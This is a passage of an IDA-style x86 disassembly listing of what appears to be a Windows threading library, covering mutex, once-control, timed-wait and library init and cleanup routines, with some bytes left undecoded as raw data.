loc_4307AD: ; CODE XREF: sub_430700+8Ej
lea ecx, [esi+14h]
push ecx
nop
call near ptr 27806EAh
mov edx, [esp+0Ch+arg_0]
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
sub_430700 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430810 proc near ; CODE XREF: sub_40222Fj
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
test edi, edi
jz loc_4308F0
mov eax, [edi]
test eax, eax
jz loc_4308F0
cmp eax, 0FFFFFFFFh
jz loc_4308B5
mov [esp+8+arg_0], eax
lea eax, [esp+8+arg_0]
push eax
call sub_40177B
mov esi, eax
add esp, 4
test esi, esi
jnz loc_4308EB
mov ecx, [esp+8+arg_0]
mov eax, [ecx+4]
cmp eax, 1
jnz short loc_4308A7
lea ecx, [esp+8+arg_0]
mov [edi], esi
push ecx
call sub_4010C3
mov edx, [esp+0Ch+arg_0]
mov esi, eax
add esp, 4
test esi, esi
jnz short loc_4308A0
add edx, 10h
push edx
call sub_401686
mov eax, [esp+0Ch+arg_0]
add esp, 4
add eax, 14h
push eax
call near ptr 2780000h
nop
mov ecx, [esp+8+arg_0]
push ecx
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4308A0: ; CODE XREF: sub_430810+61j
mov [edi], edx
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4308A7: ; CODE XREF: sub_430810+48j
dec eax
mov esi, 10h
mov [ecx+4], eax
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4308B5: ; CODE XREF: sub_430810+1Dj
push offset dword_50E940
nop
call near ptr 7C901005h
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_4308DB
push offset dword_50E940
mov dword ptr [edi], 0
call near ptr 7C9010EDh
nop
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4308DB: ; CODE XREF: sub_430810+B3j
push offset dword_50E940
mov esi, 10h
nop
call near ptr 7C9010EDh
loc_4308EB: ; CODE XREF: sub_430810+38j
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4308F0: ; CODE XREF: sub_430810+Aj
; sub_430810+14j
pop edi
mov eax, 16h
pop esi
retn
sub_430810 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430940 proc near ; CODE XREF: sub_401A0Fj
arg_0 = dword ptr 4
push esi
push 8
push 1
xor esi, esi
nop
call near ptr 77C2C0C3h
add esp, 8
cmp eax, esi
jnz short loc_430963
mov edx, [esp+4+arg_0]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_430963: ; CODE XREF: sub_430940+12j
mov ecx, [esp+4+arg_0]
mov [eax], esi
mov [eax+4], esi
mov [ecx], eax
mov eax, esi
pop esi
retn
sub_430940 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430990 proc near ; CODE XREF: sub_4010AAj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
xor esi, esi
test ecx, ecx
jz short loc_4309B1
mov eax, [ecx]
test eax, eax
jz short loc_4309B1
push eax
mov [ecx], esi
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4309B1: ; CODE XREF: sub_430990+9j
; sub_430990+Fj
mov eax, 16h
pop esi
retn
sub_430990 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4309D0: ; CODE XREF: ___:00401BA9j
mov eax, [esp+4]
test eax, eax
jz short loc_4309ED
mov eax, [eax]
test eax, eax
jz short loc_4309ED
mov ecx, [esp+8]
test ecx, ecx
jz short loc_4309ED
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4309ED: ; CODE XREF: ___:004309D6j
; ___:004309DCj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430A10: ; CODE XREF: ___:004018F7j
mov eax, [esp+4]
test eax, eax
jz short loc_430A3A
mov ecx, [eax]
test ecx, ecx
jz short loc_430A3A
mov eax, [esp+8]
cmp eax, 1
jz short loc_430A2E
test eax, eax
jnz short loc_430A3A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_430A2E: ; CODE XREF: ___:00430A25j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_430A3A: ; CODE XREF: ___:00430A16j
; ___:00430A1Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430A50 proc near ; CODE XREF: sub_40119Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
xor eax, eax
test ecx, ecx
jz short loc_430A71
mov ecx, [ecx]
test ecx, ecx
jz short loc_430A71
mov edx, [esp+arg_4]
test edx, edx
jl short loc_430A71
cmp edx, 2
jg short loc_430A71
mov [ecx+4], edx
retn
; ---------------------------------------------------------------------------
loc_430A71: ; CODE XREF: sub_430A50+8j
; sub_430A50+Ej ...
mov eax, 16h
retn
sub_430A50 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430A90 proc near ; CODE XREF: sub_4018C0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
xor eax, eax
test ecx, ecx
jz short loc_430AAE
mov ecx, [ecx]
test ecx, ecx
jz short loc_430AAE
mov edx, [esp+arg_4]
test edx, edx
jz short loc_430AAE
mov ecx, [ecx+4]
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_430AAE: ; CODE XREF: sub_430A90+8j
; sub_430A90+Ej ...
mov eax, 16h
retn
sub_430A90 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430AD0 proc near ; CODE XREF: sub_402225j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
xor edi, edi
test esi, esi
jz loc_430B87
mov eax, [esi]
test eax, eax
jz loc_430B87
cmp eax, 0FFFFFFFFh
jnz short loc_430B01
push esi
call sub_401C03
mov edi, eax
add esp, 4
test edi, edi
jz short loc_430B01
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430B01: ; CODE XREF: sub_430AD0+1Dj
; sub_430AD0+2Cj
mov esi, [esi]
push esi
call near ptr 2760533h
nop
test eax, eax
jnz short loc_430B2A
loc_430B0E: ; CODE XREF: sub_430AD0+A8j
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_430B22
call sub_4012E4
; ---------------------------------------------------------------------------
loc_430B22: ; CODE XREF: sub_430AD0+4Bj
mov [esi+0Ch], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430B2A: ; CODE XREF: sub_430AD0+3Cj
mov eax, [esi+8]
test eax, eax
jz short loc_430B6A
call sub_4012E4
; ---------------------------------------------------------------------------
dw 8B50h
dd 0E8500C46h, 0FFFD0F10h, 8508C483h, 562374C0h, 0FCE7E890h
dd 7E830233h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
pop esi
retn
; ---------------------------------------------------------------------------
loc_430B6A: ; CODE XREF: sub_430AD0+5Fj
lea ecx, [esi+10h]
push ecx
call sub_430BC0
add esp, 4
test eax, eax
jz short loc_430B0E
nop
call near ptr 77C1F2BCh
mov edi, [eax]
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430B87: ; CODE XREF: sub_430AD0+Aj
; sub_430AD0+14j
pop edi
mov eax, 16h
pop esi
retn
sub_430AD0 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430BC0 proc near ; CODE XREF: sub_430AD0+9Ep
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_430BDA
mov eax, [eax]
push 0FFFFFFFFh
mov ecx, [eax]
push ecx
call near ptr 27704C8h
nop
test eax, eax
jnz short loc_430BDA
retn
; ---------------------------------------------------------------------------
loc_430BDA: ; CODE XREF: sub_430BC0+6j
; sub_430BC0+17j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_430BC0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430C00 proc near ; CODE XREF: sub_401BC2j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebp
push esi
mov esi, [esp+8+arg_0]
xor ebp, ebp
test esi, esi
jz loc_430D98
mov eax, [esi]
test eax, eax
jz loc_430D98
cmp eax, 0FFFFFFFFh
jnz short loc_430C31
push esi
call sub_401C03
mov ebp, eax
add esp, 4
test ebp, ebp
jz short loc_430C31
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430C31: ; CODE XREF: sub_430C00+1Dj
; sub_430C00+2Cj
mov esi, [esi]
push ebx
push edi
push esi
call near ptr 2760533h
nop
test eax, eax
jnz short loc_430C62
loc_430C40: ; CODE XREF: sub_430C00+175j
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz loc_430D8E
call sub_4012E4
; ---------------------------------------------------------------------------
pop edi
mov [esi+0Ch], eax
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430C62: ; CODE XREF: sub_430C00+3Ej
mov eax, [esi+8]
test eax, eax
jz short loc_430CA6
call sub_4012E4
; ---------------------------------------------------------------------------
dw 8B50h
dd 0E8500C46h, 0FFFD0DD8h, 8508C483h, 562774C0h, 0FBAFE890h
dd 7E830233h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430CA6: ; CODE XREF: sub_430C00+67j
mov eax, [esp+10h+arg_4]
test eax, eax
jnz short loc_430CBA
mov ebp, 16h
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430CBA: ; CODE XREF: sub_430C00+ACj
lea edi, [esi+10h]
push eax
push edi
call sub_430E10
add esp, 8
sub eax, 0
jz loc_430D7A
dec eax
jz short loc_430D44
dec eax
jz short loc_430CE5
nop
call near ptr 77C1F2BCh
mov ebp, [eax]
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430CE5: ; CODE XREF: sub_430C00+D4j
lea ebx, [esi+14h]
push ebx
nop
call near ptr 7C901005h
push edi
mov ebp, 274Ch
call sub_4010A5
add esp, 4
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_430D17
nop
call near ptr 2770835h
push ebx
nop
call near ptr 7C9010EDh
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430D17: ; CODE XREF: sub_430C00+101j
nop
call near ptr 2770835h
test eax, eax
jl short loc_430D36
push edi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_430D36
nop
call near ptr 77C1F2BCh
mov ebp, [eax]
loc_430D36: ; CODE XREF: sub_430C00+11Fj
; sub_430C00+12Cj
push ebx
nop
call near ptr 7C9010EDh
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430D44: ; CODE XREF: sub_430C00+D1j
lea ebx, [esi+14h]
push ebx
nop
call near ptr 7C901005h
push edi
call sub_4010A5
mov edi, eax
add esp, 4
cmp edi, 0FFFFFFFFh
jnz short loc_430D6A
push esi
nop
call near ptr 2770835h
mov ebp, 274Ch
loc_430D6A: ; CODE XREF: sub_430C00+15Cj
push ebx
call near ptr 7C9010EDh
nop
test edi, edi
jnz short loc_430D91
jmp loc_430C40
; ---------------------------------------------------------------------------
loc_430D7A: ; CODE XREF: sub_430C00+CAj
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_430D8E
call sub_4012E4
; ---------------------------------------------------------------------------
loc_430D8E: ; CODE XREF: sub_430C00+4Dj
; sub_430C00+187j
mov [esi+0Ch], eax
loc_430D91: ; CODE XREF: sub_430C00+173j
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430D98: ; CODE XREF: sub_430C00+Aj
; sub_430C00+14j
pop esi
mov eax, 16h
pop ebp
retn
sub_430C00 endp
; ---------------------------------------------------------------------------
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430E10 proc near ; CODE XREF: sub_430C00+BFp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 0Ch
push esi
push edi
mov edi, [esp+14h+arg_0]
test edi, edi
jz loc_430EAE
mov esi, [esp+14h+arg_4]
test esi, esi
jnz short loc_430E42
or eax, 0FFFFFFFFh
loc_430E2C: ; CODE XREF: sub_430E10+7Fj
push eax
mov eax, [edi]
mov ecx, [eax]
push ecx
nop
call near ptr 27704C8h
test eax, eax
jnz short loc_430E9C
pop edi
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_430E42: ; CODE XREF: sub_430E10+17j
lea eax, [esp+14h+var_C]
push eax
nop
call near ptr 77C49113h
mov ecx, [esi+4]
mov eax, 431BDE83h
add ecx, 7A120h
add esp, 4
mul ecx
mov eax, [esi]
mov ecx, [esp+14h+var_C]
shr edx, 12h
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
shl ecx, 3
lea eax, [edx+eax*8]
mov edx, [esp+14h+var_8]
sub eax, ecx
and edx, 0FFFFh
sub eax, edx
jns short loc_430E2C
pop edi
mov eax, 2
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_430E9C: ; CODE XREF: sub_430E10+2Aj
cmp eax, 102h
jnz short loc_430EAE
pop edi
mov eax, 1
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_430EAE: ; CODE XREF: sub_430E10+Bj
; sub_430E10+91j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
add esp, 0Ch
retn
sub_430E10 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430F00 proc near ; CODE XREF: sub_4010C3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
xor ebx, ebx
push esi
cmp eax, ebx
jz loc_430FA0
mov esi, [eax]
cmp esi, ebx
jz loc_430FA0
cmp esi, 0FFFFFFFFh
push edi
jz short loc_430F95
mov eax, [esi+0Ch]
mov edi, 1
cmp eax, edi
jz short loc_430F4A
call sub_4012E4
; ---------------------------------------------------------------------------
push eax
mov eax, [esi+0Ch]
push eax
call sub_401A50
add esp, 8
test eax, eax
jnz short loc_430F4A
mov ebx, edi
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_430F4A: ; CODE XREF: sub_430F00+2Aj
; sub_430F00+40j
cmp [esi+8], edi
jnz short loc_430F58
mov eax, [esi+4]
dec eax
mov [esi+4], eax
jnz short loc_430F9A
loc_430F58: ; CODE XREF: sub_430F00+4Dj
lea edi, [esi+14h]
mov [esi+0Ch], ebx
push edi
nop
call near ptr 7C901005h
push esi
call near ptr 2770835h
nop
test eax, eax
jl short loc_430F88
add esi, 10h
push esi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_430F88
nop
call near ptr 77C1F2BCh
mov ebx, [eax]
loc_430F88: ; CODE XREF: sub_430F00+6Ej
; sub_430F00+7Ej
push edi
nop
call near ptr 7C9010EDh
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_430F95: ; CODE XREF: sub_430F00+1Ej
mov ebx, 16h
loc_430F9A: ; CODE XREF: sub_430F00+56j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_430FA0: ; CODE XREF: sub_430F00+Aj
; sub_430F00+14j
pop esi
mov eax, 16h
pop ebx
retn
sub_430F00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430FE0 proc near ; CODE XREF: sub_40177Bj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
xor edi, edi
test esi, esi
jz short loc_431065
mov eax, [esi]
test eax, eax
jz short loc_431065
cmp eax, 0FFFFFFFFh
jnz short loc_431002
push esi
call sub_401C03
add esp, 4
mov edi, eax
loc_431002: ; CODE XREF: sub_430FE0+15j
mov esi, [esi]
test edi, edi
jnz short loc_431060
push 0FFFFFFFFh
push edi
push esi
call dword_50E3EC ; InterlockedCompareExchange
cmp eax, 0FFFFFFFFh
jnz short loc_431033
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_43102B
call sub_4012E4
; ---------------------------------------------------------------------------
loc_43102B: ; CODE XREF: sub_430FE0+44j
mov [esi+0Ch], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431033: ; CODE XREF: sub_430FE0+35j
cmp dword ptr [esi+8], 1
jnz short loc_43105B
call sub_4012E4
; ---------------------------------------------------------------------------
push eax
mov eax, [esi+0Ch]
push eax
call sub_401A50
add esp, 8
test eax, eax
jz short loc_43105B
mov eax, [esi+4]
inc eax
mov [esi+4], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_43105B: ; CODE XREF: sub_430FE0+57j
; sub_430FE0+6Dj
mov edi, 10h
loc_431060: ; CODE XREF: sub_430FE0+26j
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431065: ; CODE XREF: sub_430FE0+Aj
; sub_430FE0+10j
pop edi
mov eax, 16h
pop esi
retn
sub_430FE0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4310A0: ; CODE XREF: ___:0040192Ej
mov eax, [esp+8]
mov ecx, [esp+4]
push eax
push ecx
call sub_40119A
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4310D0: ; CODE XREF: ___:00401587j
mov eax, [esp+8]
mov ecx, [esp+4]
push eax
push ecx
call sub_4018C0
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431100: ; CODE XREF: ___:0040148Dj
mov eax, [esp+4]
test eax, eax
jz short loc_43110C
mov eax, [eax+4]
retn
; ---------------------------------------------------------------------------
loc_43110C: ; CODE XREF: ___:00431106j
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431120: ; CODE XREF: ___:00401BFEj
mov eax, [esp+4]
push esi
test eax, eax
push edi
jnz short loc_431132
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_431132: ; CODE XREF: ___:00431128j
mov esi, [eax]
test esi, esi
jnz short loc_431155
mov ecx, [eax+4]
test ecx, ecx
jnz short loc_431155
call sub_401CEE
; ---------------------------------------------------------------------------
dd 8FE89056h, 0E80240F1h, 0FFFD0B9Eh, 5EC0335Fh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_431155: ; CODE XREF: ___:00431136j
; ___:0043113Dj
mov ecx, [eax+4]
mov eax, 431BDE83h
add ecx, 0F423Fh
imul ecx
sar edx, 12h
mov eax, edx
shr eax, 1Fh
add edx, eax
lea eax, [esi+esi*4]
lea eax, [eax+eax*4]
lea ecx, [eax+eax*4]
lea edi, [edx+ecx*8]
call sub_4012E4
; ---------------------------------------------------------------------------
mov esi, eax
test esi, esi
jnz short loc_43118E
pop edi
mov eax, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
loc_43118E: ; CODE XREF: ___:00431184j
mov eax, [esi+30h]
push edi
test eax, eax
jnz short loc_4311F6
mov edx, [esi+38h]
push edx
nop
call near ptr 27704C8h
test eax, eax
jnz short loc_4311E7
lea edi, [esi+2Ch]
push edi
call sub_402225
mov eax, [esi+0Ch]
add esp, 4
cmp eax, 3
jge short loc_4311D6
push edi
mov dword ptr [esi+0Ch], 3
mov dword ptr [esi+30h], 1
call sub_4010C3
push 2
call sub_401DD4
; ---------------------------------------------------------------------------
add esp, 8
loc_4311D6: ; CODE XREF: ___:004311B6j
push edi
call sub_4010C3
add esp, 4
mov eax, 3
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4311E7: ; CODE XREF: ___:004311A2j
cmp eax, 102h
jz short loc_4311FC
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_4311F6: ; CODE XREF: ___:00431194j
nop
call near ptr 28402DAh
loc_4311FC: ; CODE XREF: ___:004311ECj
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431250: ; CODE XREF: ___:00401014j
push ecx
lea eax, [esp+0]
push eax
call sub_401C26
add esp, 4
test eax, eax
mov eax, 1
jnz short loc_43126B
mov eax, [esp+0]
loc_43126B: ; CODE XREF: ___:00431265j
pop ecx
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431280 proc near ; CODE XREF: sub_401708j
push esi
call sub_401320
push offset aKernel32_dll ; "KERNEL32.DLL"
mov esi, eax
nop
call near ptr 27E08BFh
push offset aInterlockedcom ; "InterlockedCompareExchange"
push eax
mov dword_50E3D0, eax
call near ptr 27F0000h
nop
test eax, eax
mov dword_50E3EC, eax
jnz short loc_4312CD
mov eax, dword_50E3D0
mov dword_50E3EC, offset sub_4012D0
push eax
nop
call near ptr 2750321h
mov dword_50E3D0, 0
loc_4312CD: ; CODE XREF: sub_431280+2Bj
mov eax, esi
pop esi
retn
sub_431280 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431300 proc near ; CODE XREF: sub_40161Dj
mov eax, dword_50E3D4
test eax, eax
jz short loc_431350
mov eax, dword_50E3D8
push eax
call sub_401190
; ---------------------------------------------------------------------------
dd 8504C483h, 832074C0h, 75012078h, 86E8501Ah, 8BFFFD04h
dd 50E3D80Dh, 4C48300h, 6A118Bh, 0C5E89052h, 0E80231ECh
dd 0FFFD02FBh, 50E3D0A1h, 74C08500h, 0E8905007h, 231EFD1h
; ---------------------------------------------------------------------------
loc_431350: ; CODE XREF: sub_431300+7j
mov eax, 1
retn
sub_431300 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431380 proc near ; CODE XREF: sub_4017B2j
mov eax, 1
retn
sub_431380 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4313A0 proc near ; CODE XREF: sub_4017C1j
mov eax, dword_50E3D4
test eax, eax
jz short loc_4313DB
mov eax, dword_50E3D8
push eax
call sub_401190
; ---------------------------------------------------------------------------
dd 8504C483h, 832074C0h, 75012078h, 0E6E8501Ah, 8BFFFD03h
dd 50E3D80Dh, 4C48300h, 6A118Bh, 25E89052h
db 0ECh, 31h, 2
; ---------------------------------------------------------------------------
loc_4313DB: ; CODE XREF: sub_4313A0+7j
mov eax, 1
retn
sub_4313A0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431410: ; CODE XREF: ___:00402239j
push ecx
push esi
push offset dword_50E9A0
xor esi, esi
call near ptr 7C901005h
nop
mov eax, dword_50E3E0
test eax, eax
mov [esp+4], eax
jz short loc_43144E
loc_43142C: ; CODE XREF: ___:0043144Cj
test esi, esi
jnz short loc_43144E
lea eax, [esp+4]
push eax
call sub_401604
mov ecx, [esp+8]
mov esi, eax
add esp, 4
mov eax, [ecx+18h]
test eax, eax
mov [esp+4], eax
jnz short loc_43142C
loc_43144E: ; CODE XREF: ___:0043142Aj
; ___:0043142Ej
push offset dword_50E9A0
call near ptr 7C9010EDh
nop
mov eax, esi
pop esi
neg eax
sbb eax, eax
and eax, 0Bh
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431490 proc near ; CODE XREF: sub_4012B7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_4314A9
mov eax, [eax]
test eax, eax
jz short loc_4314A9
cmp dword ptr [eax], 0C4C0FFEEh
jnz short loc_4314A9
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4314A9: ; CODE XREF: sub_431490+6j
; sub_431490+Cj ...
mov eax, 1
retn
sub_431490 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4314C0 proc near ; CODE XREF: sub_401320j
mov eax, dword_50E3D4
test eax, eax
jz short loc_4314CF
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_4314CF: ; CODE XREF: sub_4314C0+7j
push 0
push offset dword_50E3D8
mov dword_50E3D4, 1
call sub_4015FF
add esp, 8
test eax, eax
jnz short loc_4314FE
push eax
push offset dword_50E3DC
call sub_4015FF
add esp, 8
test eax, eax
jz short loc_431503
loc_4314FE: ; CODE XREF: sub_4314C0+2Aj
call sub_40163B
loc_431503: ; CODE XREF: sub_4314C0+3Cj
push esi
mov esi, dword_50F85C
push offset dword_50E8E0
call esi ; dword_50F85C
push offset dword_50E940
call esi ; dword_50F85C
push offset dword_50E9A0
call esi ; dword_50F85C
push offset dword_50E920
call esi ; dword_50F85C
push offset dword_50E980
call esi ; dword_50F85C
push offset dword_50E960
call esi ; dword_50F85C
mov eax, dword_50E3D4
pop esi
retn
sub_4314C0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431560 proc near ; CODE XREF: sub_40163Bj
mov eax, dword_50E3D4
test eax, eax
jz locret_431619
mov eax, dword_50E3D8
test eax, eax
jz short loc_431589
push eax
call sub_401AA0
add esp, 4
mov dword_50E3D8, 0
loc_431589: ; CODE XREF: sub_431560+14j
mov eax, dword_50E3DC
test eax, eax
jz short loc_4315A5
push eax
call sub_401AA0
add esp, 4
mov dword_50E3DC, 0
loc_4315A5: ; CODE XREF: sub_431560+30j
push esi
push offset dword_50E8E0
nop
call near ptr 7C901005h
mov eax, dword_44573C
cmp eax, 1
jz short loc_4315D3
push edi
mov edi, dword_50FAC4
loc_4315C2: ; CODE XREF: sub_431560+70j
mov esi, [eax+8]
push eax
call edi ; dword_50FAC4
add esp, 4
cmp esi, 1
mov eax, esi
jnz short loc_4315C2
pop edi
loc_4315D3: ; CODE XREF: sub_431560+59j
push offset dword_50E8E0
call near ptr 7C9010EDh
nop
mov esi, dword_50F858
push offset dword_50E960
call esi ; dword_50F858
push offset dword_50E980
call esi ; dword_50F858
push offset dword_50E920
call esi ; dword_50F858
push offset dword_50E9A0
call esi ; dword_50F858
push offset dword_50E940
call esi ; dword_50F858
push offset dword_50E8E0
call esi ; dword_50F858
mov dword_50E3D4, 0
pop esi
locret_431619: ; CODE XREF: sub_431560+7j
retn
sub_431560 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431650: ; CODE XREF: ___:loc_401B95j
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+8]
push esi
push edi
push eax
mov esi, [eax]
mov ecx, [eax+4]
mov edx, [eax+8]
mov [ebp-4], esi
mov [ebp-0Ch], ecx
mov [ebp-8], edx
call near ptr 77C2C21Bh
nop
mov eax, dword_50E3D8
push esi
push eax
call sub_4020DB
; ---------------------------------------------------------------------------
mov dword ptr [esi+0Ch], 1
add esi, 3Ch
push 0
push esi
call sub_436A5C
mov edi, [ebp-4]
add esp, 14h
test eax, eax
jnz short loc_4316AC
mov ecx, [ebp-8]
push ecx
call dword ptr [ebp-0Ch]
add esp, 4
mov [edi+14h], eax
mov esi, eax
jmp short loc_4316B8
; ---------------------------------------------------------------------------
loc_4316AC: ; CODE XREF: ___:00431699j
dec eax
jz short loc_4316B5
dec eax
or esi, 0FFFFFFFFh
jmp short loc_4316B8
; ---------------------------------------------------------------------------
loc_4316B5: ; CODE XREF: ___:004316ADj
mov esi, [edi+14h]
loc_4316B8: ; CODE XREF: ___:004316AAj
; ___:004316B3j
cmp dword ptr [edi+20h], 1
jnz short loc_4316D7
call sub_4017C1
push esi
nop
call near ptr 77C3A307h
add esp, 4
